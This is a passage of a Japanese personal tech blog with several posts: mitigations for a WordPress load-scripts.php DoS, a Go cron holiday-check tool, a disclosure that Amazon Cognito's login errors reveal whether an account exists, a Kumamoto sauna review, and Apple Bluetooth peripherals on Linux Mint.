この状態で再度ブラウザで確認するとアクセスできなくなっているかと思います。

対策

概要でも述べたように、発見者がWordPressに報告したところ脆弱性として認められず、サーバやネットワークで軽減可能な類いなものと回答されたようです。 そこで、発見者はWordPressをforkして独自にpatchを当てたものを公開しています。
管理者のみが load-scripts.php を実行できるようにする変更のようです(多分)。 github.com

ですが、このforkは今後のアップデートに追従しないでしょうし、こっちを使うのは現実的ではない気がします。 既存のWordPressにpatchを当てるためのbashスクリプトも公開しているので、こちらを使うほうがまだ良い気がします(試していないですが)。 WordPress/wp-dos-patch.sh at master · Quitten/WordPress · GitHub

しかしこの方法も今後のアップデート時に困りそうですし、十分にテストされてない可能性もあるのでWAFなどで頑張るのが現実的でしょうか。

Impervaによる解説は以下です。2要素認証を入れたりレートリミットを入れる方法なども挙げられています。 www.imperva.com

※2018/02/14追記 /wp-admin/以下にBasid/Digest認証かけるとか、IPアドレス制限かけるとかの意見も出ているようでした。そういったことができそうな環境であれば、そちらを試してみても良さそうです。

まとめ

大量にファイルを読み込ませるだけの単純な攻撃ですが、認証不要でパッチもないということで影響大きい気がします。 画一的な対応が難しそうなので、影響度を考慮して各自で対応を取る感じになるかと思います。

cronで祝日判定するためのコマンドを作った

概要

cronで営業日だけ動かしたいコマンドとかある時に、いちいちプログラム書くのも面倒だったので、 && とかで繋いで簡単に判定するためのコマンドを作りました。
rpmdebもあるので、簡単にインストールして利用可能です。

営業時間に1時間ごとに動かしたい場合は以下のような感じ。

00 9-18 * * 1-5 holiday_jp-go || command

github.com

経緯

GitHubでレビュワーとしてアサインされてるのにレビューし忘れる場合が多くて、もう1時間に1回レビューしてないPRを通知したろ!ということでcronを仕込みました(そもそもレビュー忘れとか皆さんはどうやって解決してるんですかね...?)。
で、自分は休日もPRとか作ってしれっとアサインするんですが、営業日になったら通知して欲しくて例によって祝日判定をしたくなりました。
そういう時にcronで || とか && で繋いで判定するコマンド標準であるだろ〜と思って調べたら意外と見つからなかったです。
祝日判定も他の人がどうやってるのか知りたいです。

唯一自分のニーズに合ったものを見つけたのですが、Pythonでした。
GitHub - emasaka/jpholidayp: Is it holiday today in Japan?

最近Goばかり書いている自分は、pipとかでインストールするのも面倒に感じるほど脳が後退しているので、ワンバイナリでサーバにシュッと置きたいなーと思ってGoで書きました。
あとCentOS 6とか作ってるとPython 2.6だったりして色々面倒で、真面目に使う時はvenvとかも使いますがちょっとしたサーバに入れるならやっぱりrpmとかで入れたいよなーと思ってます。

実装

祝日自体は以下のholiday_jpのyamlを使わせていただきました。
GitHub - holiday-jp/holiday_jp: Japanese holiday datasets

ファイルとしてサーバにYAML置くのも嫌だったので、 go-assets 使ってバイナリに埋め込みました。
なので本当にバイナリを1つだけ置けば動きます。

ただ、もちろんお気付きの通り祝日が変わると対応できないです。
ネットワーク経由で取ってきてキャッシュして、定期的にアクセスして更新して〜とやった方が厳密なのは分かるのですが、そこまでシビアな用途じゃなかったのでポータビリティ性を重視してAssetにしました。 祝日変わったらバイナリをアップデートする感じでいいかなと思っています。
逆に祝日判定を間違ったら死ぬようなシビアな用途では使えない感じになってます。 YAMLには2050年の祝日まであるので、期間が問題になることはないかなと。

30分ぐらいで作ったのでコードも50行ぐらいしかないです。
何かおかしかったら直します。

インストール

READMEに書いたとおりです。

RedHat, CentOS

$ sudo rpm -ivh https://github.com/knqyf263/holiday_jp-go/releases/download/v0.0.1/holiday_jp-go_0.0.1_linux_amd64.rpm

Debian, Ubuntu

$ wget https://github.com/knqyf263/holiday_jp-go/releases/download/v0.0.1/holiday_jp-go_0.0.1_linux_amd64.deb
$ sudo dpkg -i holiday_jp-go_0.0.1_linux_amd64.deb

その他

以下からバイナリをダウンロード Releases · knqyf263/holiday_jp-go · GitHub

挙動

実行しても特に何も出力されないですが、終了ステータスで判定できます。

0: holiday
1: not holiday
2: error

土日または祝日の場合は0(成功)になります。

crontabなどで使う想定です。
祝日だけに実行したい場合

holiday_jp-go && some-command

営業日だけに実行したい場合

holiday_jp-go || some-command

まとめ

バイナリ置くだけでcronなどで使える祝日判定コマンドを作りました。
祝日の更新は自動で追従しないので(元号変わって祝日変わったりとか)、シビアな用途では使えないです(更新機能必要な人がいればPR待ってます)。
ただ、企業の特別な休みとかに対応できないので、そういうのも休日と判定したいニーズとかあるかもなーと作った後に思いました。

Cognitoを使うとログインID(メールアドレス等)が存在するかどうか判別可能になる

概要

タイトルに書いた以上のことはないのですが、Amazon Cognitoではログイン時のエラーで、ログインIDが存在する場合と存在しない場合が判別可能になります。
知らずに使い始めて、あとで困る人がいると良くないなと思ったので一応書いておきます。

詳細

CognitoはIDaaSとして利用でき、自分でID/PWを管理する必要がなくなるので非常に便利です。
自分で実装すると、パスワードにソルト付けてハッシュ化して...など考えることは多いです。
しかしCognitoを使えばそういう悩みから開放されるため、今開発してるサービスでも利用しています。

ログイン

CognitoはJavascriptから利用する事が多いかと思いますが、awsが提供しているSDKがあるため普通であればこちらを利用するかと思います。 GitHub - aws/amazon-cognito-identity-js: Amazon Cognito Identity SDK for JavaScript

ドキュメントを読むとUse case 4に以下のようなコードがあります。

  var authenticationData = {
        Username : 'username',
        Password : 'password',
    };
    var authenticationDetails = new AWSCognito.CognitoIdentityServiceProvider.AuthenticationDetails(authenticationData);
    var poolData = {
        UserPoolId : '...', // Your user pool id here
        ClientId : '...' // Your client id here
    };
    var userPool = new AWSCognito.CognitoIdentityServiceProvider.CognitoUserPool(poolData);
    var userData = {
        Username : 'username',
        Pool : userPool
    };
    var cognitoUser = new AWSCognito.CognitoIdentityServiceProvider.CognitoUser(userData);
    cognitoUser.authenticateUser(authenticationDetails, {
        onSuccess: function (result) {
            console.log('access token + ' + result.getAccessToken().getJwtToken());

            //POTENTIAL: Region needs to be set if not already set previously elsewhere.
            AWS.config.region = '<region>';

            AWS.config.credentials = new AWS.CognitoIdentityCredentials({
                IdentityPoolId : '...', // your identity pool id here
                Logins : {
                    // Change the key below according to the specific region your user pool is in.
                    'cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>' : result.getIdToken().getJwtToken()
                }
            });
            
            //refreshes credentials using AWS.CognitoIdentity.getCredentialsForIdentity()
            AWS.config.credentials.refresh((error) => {
                if (error) {
                     console.error(error);
                } else {
                     // Instantiate aws sdk service objects now that the credentials have been updated.
                     // example: var s3 = new AWS.S3();
                     console.log('Successfully logged!');
                }
            });
        },

        onFailure: function(err) {
            alert(err);
        },

    });

このauthenticateUserで認証をしています。
Web画面で言うとログイン画面で呼ばれることになるかと思います。

authenticateUser

ではこのauthenticateUserの中を見てみます。

github.com

ここの行を見るとAPIとしては initiateAuth を使っているようです(真面目に読んでないので間違っていたらすみません)

initiateAuth

initiateAuthについてはドキュメントがあるので、以下を確認してみます。

docs.aws.amazon.com

そうするとErrorsという項目があり、多くのエラーが定義されていることが分かります。
エラーを見ていくと、NotAuthorizedExceptionという項目があると思います。

説明を見ると、認証失敗時のエラーのようです。

NotAuthorizedException

This exception is thrown when a user is not authorized.
HTTP Status Code: 400

さらにドキュメントを読んでいくと、UserNotFoundExceptionという項目があります。 説明を読むと、名前から分かる通りユーザが存在しない場合に返されるエラーのようです。

UserNotFoundException

This exception is thrown when a user is not found.
HTTP Status Code: 400

ということで、Javascriptに返されるエラーからユーザが存在する場合と存在しない場合の判別が可能になります。

ユーザが存在するかどうか、というのは不必要情報にあたります。

メールアドレスの登録チェックが、余計なお世話に?:星野君のWebアプリほのぼの改造計画(8) - @IT

Cognitoではメールアドレスでのログインも可能なので、その場合はサービスに登録済みのメールアドレスか判別可能になってしまいます。

メールアドレスが登録済みか判別可能、というのは脆弱性診断をすると指摘項目になっていることも多いのですが、Cognitoを使っていると指摘されることになります。

スライドの通りログインIDが公開されているようなサイトの場合は気にしなくて良いかと思いますが、メールアドレスをログインIDとして使っていたり、他人に登録していることを知られたくないようなサイトの場合は問題になるかと思います。

www.slideshare.net

経緯

何とか設定で出来ないのかと思いサポートに問い合わせさせていただいたところ、「以前は分かれていなかったが、ユーザから判別したいという要望が多かったためエラーを分けた」とのことでした。
歴史的な背景でエラーが分かれたようです。

今も議論されているようで、GitHub Issueから確認できます。

github.com

緩和策

ということで現時点では設定でエラーを統一などすることは出来ないようです。
緩和策としてはサポートにも確認させて頂きましたが、サービスユーザに見せるエラーメッセージを統一するぐらいしかなさそうです。
通信を見ればどちらのエラーか判別可能なのでほとんど意味は無いのですが、ライト層にはほんの少し分かりにくくなるかな、という感じです。

まとめ

現時点ではCognitoはログインIDの存在有無を判別可能です。
メールアドレスなどをログインIDとして使ったりなど、判別されると困るケースではCognitoだと要件を満たさない可能性があります。
自分は知らずに使っていて、あとで少し困ったので誰かの助けになればと思います。

Vuls開発において重要なこと

Vuls Advent Calendar 2017 - Qiita の7日目の記事です。 前回ブログ更新していくって言ったのに一回で飽きてたので、結局ブログには久々に書きます。

Vulsの生誕について

Vulsはサウナおじさんが開発しました。 元々はネパールで修行したのがきっかけですが、その開発を支えていたのは他でもないサウナです。 また、コミッターである自分も実は昔からサウナ好きであり、Vuls開発においていかに重要であるかが分かるかと思います。 ということで、サウナについて書きます。

湯らっくす

ちょうど先週末に熊本に出張で行っていたのですが、出発前日に以下の記事を目にしました。

sauna-ikitai.com

これは行くしかない...ということで、行ってきました。
結論から言うと最高でした。サウナだけに限らず、施設全体が非常にくつろげるようになっていました。

古くからあるサウナ

熊本に住んでいる人に「明日湯らっくす行こうと思ってるんですよ〜」と話したところ、「え、あんなところ行きたいの?!」と言われました。
聞いたところ、湯らっくす自体は相当昔からあるようです。
どうやらオープンは何十年も前らしいです。

地元の人に聞くと大体知っている感じで、昔ながらの銭湯だと言っていました。
2017年7月にリニューアルして今は綺麗らしいと伝えたら驚いていましたし、リニューアルを知っている人は殆どいませんでした。地元の人は逆にそんな感じかもしれませんね。

外観

ということで早速行ってきました。
熊本駅から徒歩5分かと思っていたら、車で5分だったので歩くのは諦めてタクシーに乗りました。

到着したので写真撮りました。 こういうセンスが無いので雑な写真ですが、リニューアル直後なこともあって非常に非常に綺麗でした。

f:id:knqyf263:20171207223354p:plain f:id:knqyf263:20171207223820p:plain

よく分からないけど凄そうなオブジェもありました。 f:id:knqyf263:20171207224041p:plain

入り口

サ道のポスターが貼ってあり、サウナ推しな感じが伝わってきます。 f:id:knqyf263:20171207224157p:plain

券売機

最初に券売機でお金を払います。
ここで重要なことなのですが、1Fと2Fで料金が異なります。
1Fは590円なのですが、2Fは1300円になっています。

1F分だけ払うと温泉やサウナは楽しめますが、2Fに行くことは出来ません。2Fは漫画が置いてあったり横になれる場所があったり、休憩できるようになっています。2F料金には1F料金が含まれるので、1300円払えば温泉・サウナと休憩所全て楽しめます。

1F料金だけ払って中へ

あまり時間もないし1Fだけで良いかと思って入ったところ、超綺麗という感じでもなく昔ながらの銭湯っぽい感じでした。

とりあえず先にトイレでも行くか、と思ってトイレに入ったのですがウォシュレットのところに「リズム(2度押し)」と書いてあったのが衝撃的だったので思わず写真を取りました。 f:id:knqyf263:20171207230615p:plain

タオルがない

トイレから出て温泉に入ろうとしたところ、タオルがないことに気づきました。
普段行くスパはタオル代も含んでいたので油断していたのですが、タオルは別料金でした。
仕方ないので一度受付に戻って200円ほど払いフェイスタオルを買いました。
これから行かれる方はタオルの持参をおすすめします。

サウナ

湯らっくすにはサウナが3つあります。 - 「アウフグースサウナ」 - 「備長炭蒸風呂」 - 「メディテーションサウナ」

温泉の中なので写真はないですが、公式サイトを見て頂ければ雰囲気はつかめると思います。

熊本市のサウナ | 湯らっくす

アウフグースサウナ

1時間に1回アウフグース・イベントをやっています。

毎日12時〜翌1時まで、1時間ごとに、サウナ内でアウフグース・イベントを開催

ということで自分も座る時に使うタオルを取り、アウフグースサウナに入ってみました。 中はかなり広く、3段になっています。
温度計がなかったのですが、中は丁度よい温度でした。 熱すぎず何分でも入っていられる感じで、気づいたら汗が吹き出していました。

注意なのですが、時間によっては非常に人気で中は満員になっている時があります。 自分が入った時は丁度満席で、ぎゅうぎゅうのところに座りました。 これは実際結構きつくて、知らないおじさんと汗を擦り合う感じになります。 一旦出たあと少し温泉に入って戻ったところ、誰もいなくなっていました。 時間をずらせば広い部屋にゆったり入れてとても快適なので、満員なら少し温泉でも入りましょう。

メディテーションサウナ

これは男性専用のようですが、セルフロウリュ可能なサウナです。 ストーブもフィンランドから直接取り寄せているらしく、随所随所にこだわりが感じられます。 照明もデザイナーが手掛けただけあってオシャレ空間になっています。

他の人がストーブに水をかけると一気にもわ〜っときて気持ちよかったです。 ただ、あまり長く入っているのは辛いかもしれません。

備長炭蒸風呂

床下から蒸気が上がってきて蒸されます。 真ん中に塩が大量においてあり、最初何に使うのか分からず様子をうかがっていたところ、おじさんたちが大量に体に塗っていたので自分も塗りたくりました。染み入る感じでやみつきになります。

水風呂

自分はそこまで水風呂にこだわりがないのですが、湯らっくすの水風呂は最高でした。
何と天然水かけ流しらしいです。
水温も超低いです。入った瞬間死ぬ...って思うぐらいの冷たさで気持ちよかったです。
何か顔も寒くて息も白くなってて何でだ?と思ったのですが、湯らっくすの温泉は露天風呂と扉などなく直結しており、実質水風呂も外にあるような感じになってます。
なので外で水風呂入りたいと思っていた人にはおすすめです。

驚いたのは、「湯らっくすの水風呂は水をオーバーフローさせまくっているので、かけ湯してから入れば頭からOK」とサウナに書いてあることです。少し汚れてもすぐ新しい水と入れ変わるということのようです。

そしてそれを促すかのように水風呂の水深が深いです。 どのぐらいか忘れましたが、1.3mぐらいある気がします。 なので自分も遠慮なく頭まで入り、出た時にはふらっふらになってました。

ウォーターサーバー

サウナと水風呂を繰り返したあとは水をがぶ飲みしたくなると思いますが、中が必要です。 湯らっくすの紙コップは死ぬほど小さいです。3杯ぐらい飲んで1杯になるかならないか、ぐらいです。なので限界ぐらいまで我慢してからウォーターサーバーに行くと無限に占領することになります。こまめに水を摂取することをおすすめします。

そして2Fへ

これだけ整うとゆっくりゴロゴロして漫画でも読みたくなります。
1Fの料金しか払ってませんでしたが、2Fにも入れないか聞いてみました。 プラスで1300円は辛いな〜と思ったのですが、店員さんが優しく差分だけでOKとのことでした。

そして2Fに行こうとすると、途中にも温泉の入口がありました。 違う温泉なのかな?と思ったのですが、店員さんに聞いたところタオルが使い放題らしいです。
なんてこった...買っちまった... という気持ちになったので、先程タオル持参をオススメと言いましたが、ケチらずに最初から1300円払いましょう。

2Fあがったところですが、とてもオシャレです。 f:id:knqyf263:20171207234305p:plain

ソファもたくさんあります。 飛行機のファーストクラスのような感じでとても広く、くつろげます。

テレビも各椅子に完備で最高です。 f:id:knqyf263:20171207235124p:plain

さらに漫画も大量にあります。 f:id:knqyf263:20171207235300p:plain

クッションが大量にある部屋もあります。 f:id:knqyf263:20171207235342p:plain

自分は結局この部屋で漫画を読みながらゴロゴロして2時間ぐらいいました。

食事をするところもあり、無限にくつろぐことができます。

一番良い点

2Fは他にもヨガする部屋があったり、カプセルホテルみたいに泊まれるところがあったり、何もかも最高なのですが中でも一番良いのは、

空いている!!

ということです。 1Fの温泉・サウナは超混んでいたのですが、2Fは日曜にも関わらず全然人いませんでした。恐らく地元の人は温泉だけ入って帰るのでしょう。

東京でよくスパに行くのですが、休日はとにかく混んでいます。席取りに必死でくつろぐ余裕は殆どありません。

それを考えると好きな場所でゴロゴロできて、漫画を取りに行って帰る間に他人に間違って取られる心配もなく、もう本当に最高です。

まとめ

湯らっくすはサウナや水風呂にこだわっており最高の温泉施設でした。
サウナに入ったあと整った状態で漫画読みながらゴロゴロするのはこの上なく幸せな時間です。 仮にサウナ好きじゃなくても、温泉にゆっくり入ったあと2Fでくつろぐのは楽しいと思います。 遠方から行く人は自分のようにケチって1Fだけにせず、最初から2Fの券を買いましょう!
湯らっくすのためにだけにまた熊本行こうと思います。

f:id:knqyf263:20171208000256p:plain

Linux MintでApple Wireless KeyboardとMagic Trackpadを使ってみた

ブログ書くの相当久しぶりなんですが、たまには更新しようかと思います。
以前はKobitoが好きでQiitaに多く投稿していたのですが、家のメインをLinuxにしたらKobito使うの大変だしあんまりメリットがなくなったのでブログも書いてみるかーという感じです。すぐ辞めるかもしれませんが。。

概要

家のメインデスクトップをMacからLinuxに変更しました。
本当はiMac欲しかったのですが、さすがに値段的に厳しかったので同じスペックで圧倒的に安く買えるBTOパソコンで我慢しました。
ただ、仕事やラップトップはMacのままなのでLinuxでもAppleのキーボードとかトラックパッド使い続けたいなーという感じです。

あと最初は普通のキーボードを使っていたのですが、i3を使うときにWindowsキーをModキーにしてAltをCommandキーっぽく使っていたら押し間違いが多いし、少し慣れたらApple Wireless Keyboardが使いにくくなってMac使うときに困るし、ということで統一したくなりました。

環境

  • Linux Mint 18.1
  • bluez 5.37-0ubuntu5
  • Apple Wireless Keyboard
  • Magic Trackpad

参考

詳細

ハマると思っていたのですが、参考ページ通りにやったらすんなりといけて少し拍子抜けでした。 メモがてら残しておきます。

まず、自分のパソコンにはBluetooth機能がなかったので以下のアダプタを購入しました。 単にAmazonで一位だったから選んだだけで特に理由はないです。
Linuxで動くかわからなかったのですが、何とかなるだろうという軽い気持ちで購入しました。

Amazon | 【Newiy Start】Bluetooth4.0 USBアダプタ EDR/LE(省エネ) Windows10 apt-X対応 CSRスタック付属 ブルートゥース ドングル (抓み型) | Bluetoothアダプタ | パソコン・周辺機器 通販

次に参考ページ通りbluezを入れるのですが、Linux Mint 18 Xfceには元から入っていたのか、インストール済みでした。

# apt-get install bluez

認識されているか確認します。

$ hciconfig -a
hci0:   Type: BR/EDR  Bus: USB
    BD Address: [BDアドレス]  ACL MTU: 310:10  SCO MTU: 64:8
    UP RUNNING PSCAN ISCAN 
    RX bytes:3914528 acl:173416 sco:0 events:681 errors:0
    TX bytes:5957 acl:168 sco:0 commands:209 errors:0
    Features: 0xff 0xff 0x8f 0xfe 0xdb 0xff 0x5b 0x87
    Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3 
    Link policy: RSWITCH HOLD SNIFF PARK 
    Link mode: SLAVE ACCEPT 
    Name: 'Name'
    Class: 0x0c0104
    Service Classes: Rendering, Capturing
    Device Class: Computer, Desktop workstation
    HCI Version: 4.0 (0x6)  Revision: 0x22bb
    LMP Version: 4.0 (0x6)  Subversion: 0x22bb
    Manufacturer: Cambridge Silicon Radio (10)

設定画面を起動します。 以下のコマンドを実行すればGUIで設定画面が表示されるので、適当に進めていけばOKです。

$ blueberry

キーバインドとかは直す必要がありますが、全く問題なく使えていてとても良いです。

まとめ

LinuxApple Wireless KeyboardやMagic Trackpadを使ってみましたが簡単でした。
Linuxのデスクトップで一番辛かったのは文字入力周りだったので、Macと統一できてかなり幸せになりました。
Commandキーしかないのでi3使うときに少し衝突するキーバインドがありますが、そこは何とかi3側を変えて乗り切ってます。